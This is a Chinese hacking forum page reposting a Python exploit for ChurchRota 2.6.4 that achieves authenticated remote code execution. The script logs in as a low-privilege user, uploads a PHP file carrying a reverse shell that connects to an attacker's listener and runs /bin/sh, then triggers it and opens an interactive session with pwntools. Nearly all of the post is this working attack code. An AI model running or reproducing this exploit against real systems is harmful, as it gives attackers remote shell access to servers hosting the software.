跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于
# Exploit Title: ChurchRota 2.6.4 - RCE (Authenticated)
# Date: 1/19/2021
# Exploit Author: Rob McCarthy (@slixperi)
# Vendor Homepage: https://github.com/Little-Ben/ChurchRota
# Software Link: https://github.com/Little-Ben/ChurchRota
# Version: 2.6.4
# Tested on: Ubuntu

import requests
from pwn import listen

############################################################################################################
# Description                                                                                              #
# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution.                          #
# The user does not need to have file upload permission in order to upload and execute an arbitrary file.  #
# The application is written primarily with PHP so we use PHP in our PoC                                   #
############################################################################################################

# credentials of the low privilege user
USERNAME='slixperi'
PASSWORD='slixperi'

LISTENER_IP = '127.0.0.1'
LISTENER_PORT = '4444'
TARGET_IP = '127.0.0.1'
TARGET_PORT = '8081'

# set the credentials for login POST
credentials = {"username":USERNAME,"password":PASSWORD}
# create a session to preserve session state
sesh = requests.session()
# login as our low-privilege user (normally only admins can upload files)
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials)

# define the payload
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"

# file upload
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})
files = {'resourcefile': ("shell.php", payload)}
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)

l = listen(LISTENER_PORT)

# execute the file
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")

l.interactive()
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。